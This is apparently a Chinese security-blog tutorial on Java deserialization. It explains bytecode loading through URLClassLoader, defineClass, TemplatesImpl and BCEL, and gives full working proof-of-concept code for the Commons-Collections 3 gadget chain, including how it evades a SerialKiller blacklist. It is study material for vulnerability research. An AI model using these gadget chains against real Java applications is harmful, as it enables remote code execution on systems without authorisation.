目录

Java反序列化漏洞系列-4

Java反序列化漏洞系列-4

1 Java 动态加载字节码

1.1 字节码

严格来说,Java 字节码其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储 在 .class 文件中。

众所周知,不同平台、不同 CPU 的计算机指令有差异,但因为 Java 是一门跨平台的编译型语言,所以这些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台的 JVM 虚拟机中。

1.2 利用 URLClassLoader 加载远程 class 文件

利用 Java 的 ClassLoader 来用来加载字节码文件最基础的方法。嘉文主要说明 URLClassLoader。正常情况下,Java 会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,而这个基础路径有分为三种情况:

  • URL 未以斜杠 / 结尾,则认为是一个 JAR 文件,使用 JarLoader 来寻找类,即为在 Jar 包中寻找 .class 文件
  • URL 以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class 文件
  • URL 以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。

使用 HTTP 协议来测试,从远程 HTTP 服务器上加载 .class 文件:

ClassLoader.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package com.geekby.javavuln;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Main {

    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Hello");
        Method f = c.getMethod("test");
        f.invoke(null, null);
    }
}

Hello.java

1
2
3
4
5
public class Hello {
    public static void test() {
        System.out.println("test");
    }
}

执行:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108301747883.png-water_print

成功请求到 /Hello.class 文件,并执行了文件里的字节码,输出了「test」。

所以,如果攻击者能够控制目标 Java ClassLoader 的基础路径为一个 http 服务器,则可以利用远程加载的方式执行任意代码了。

1.3 利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用:

  • ClassLoader#loadClass
  • ClassLoader#findClass
  • ClassLoader#defineClass

其中:

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础 URL 指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类

因此,真正核心的部分其实是 defineClass ,其决定了如何将一段字节流转变成一个 Java 类,Java 默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的 C 语言代码中。

通过简单的代码示例,演示 defineClass 加载字节码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class defineClassDemo {
    public static void main(String[] args) throws Exception{
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        // 读取字节码并进行 base64 编码
        byte[] b = Files.readAllBytes(Paths.get("Hello.class"));
        String code = Base64.getEncoder().encodeToString(b);

        // base64 解码
        byte[] byteCode = Base64.getDecoder().decode(code);
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", byteCode, 0, byteCode.length);
        Method m = hello.getMethod("test", null);
        m.invoke(null, null);
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108301930989.png-water_print

信息
defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的 static 块中,在 defineClass 时也无法被直接调用到。所以,如果要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是常用的一个攻击链 TemplatesImpl 的基石。

1.4 利用 TemplatesImpl 加载字节码

前面提到过,开发者不会直接使用到 defineClass 方法,但是,Java 底层还是有一些类用到了它,如:TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader ,这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java 中默认情况下,如果一个方法没有显式声明作用域,其作用域为 default。因此,这里被重写的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

TransletClassLoader#defineClass() 向前追溯一下调用链:

1
2
3
4
5
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#defineTransletClasses() 
-> TransletClassLoader#defineClass()

追到最前面两个方法 TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer() ,这两者的作用域是 public,可以被外部调用。尝试用 newTransformer() 构造一个简单的 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
    String code = "...";
    byte[] byteCode = Base64.getDecoder().decode(code);
  
    TemplatesImpl obj = new TemplatesImpl();
  	// _bytecodes 是由字节码组成的数组
    Class c = TemplatesImpl.class;
    Field _bytecodes = c.getDeclaredField("_bytecodes");
    _bytecodes.setAccessible(true);
    _bytecodes.set(obj, new byte[][]{byteCode});
  
    // _name 可以是任意字符串,只要不为 null 即可
    Field _name = c.getDeclaredField("_name");
    _name.setAccessible(true);
    _name.set(obj, "HelloTemplatesImpl");
    
    // 固定写法
    Field _tfactory = c.getDeclaredField("_tfactory");
    _tfactory.setAccessible(true);
    _tfactory.set(obj, new TransformerFactoryImpl());
  
    obj.newTransformer();
}

但是,TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。需要构造一个特殊的类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class HelloTemppaltesImpl extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public HelloTemppaltesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108310934564.png-water_print

在多个 Java 反序列化利用链,以及 fastjson、jackson 的漏洞中,都曾出现过 TemplatesImpl 的身影。

1.5 利用 BCEL ClassLoader 加载字节码

BCEL 的全名为 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

通过 BCEL 提供的两个类 RepositoryUtility 来利用:用于将一个 Java Class 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码;Utility 用于将原生的字节码转换成 BCEL 格式的字节码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;

public class BCELdemo {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(evil.Hello.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
    }
}

BCEL ClassLoader 用于加载这串特殊的 bytecode,并可以执行其中的代码:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108310956413.png-water_print

2 CommonsCollections 3 gadget 分析

在 CC1 中,利用 TransformedMap 来执行任意方法,上一节中提到过,利用 TemplatesImpl 执行字节码,可以将两者合并,构造出如下 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.geekby.cc3test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "poc");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

但是,在 ysoserial 中的 CC3 中,并没有用到 InvokerTransformer

SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,可以看到其给出了最初的黑名单:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311040425.png-water_print

这个黑名单中 InvokerTransformer 赫然在列,也就切断了 CommonsCollections1 的利用链。ysoserial 随后增加了新的 Gadgets,其中就包括 CommonsCollections3

CommonsCollections3 的目的很明显,就是为了绕过一些规则对 InvokerTransformer 的限制。CommonsCollections3 并没有使用到 InvokerTransformer 来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了使用 InvokerTransformer 手工调用 newTransformer() 方法这一步:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311046468.png-water_print

当然,缺少了 InvokerTransformer,TrAXFilter 的构造方法也是无法调用的。通过利用 org.apache.commons.collections.functors.InstantiateTransformer 中的 InstantiateTransformer 调用构造方法。

所以,最终的目标是,利用 InstantiateTransformer 来调用到 TrAXFilter 的构造方法,再利用其构造方法里的 templates.newTransformer() 调用到 TemplatesImpl 里的字节码。

构造的 Transformer 调用链如下:

1
2
3
4
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};

最终也是可以成功触发的:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311053530.png-water_print

警告
这个 POC 和 CC1 也有同样的问题,就是只支持 Java 8u71 及以下版本。

完整的反序列化过程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.geekby.cc3test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Original {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","Geekby");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object res = construct.newInstance(Retention.class, outerMap);
			// 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(res);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }



    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考

phith0n Java 漫谈系列

Java反序列化漏洞原理解析

Java反序列化漏洞从入门到关门

从0开始学Java反序列化漏洞

深入理解 JAVA 反序列化漏洞

Java反序列化利用链补全计划

Commons-Collections 利用链分析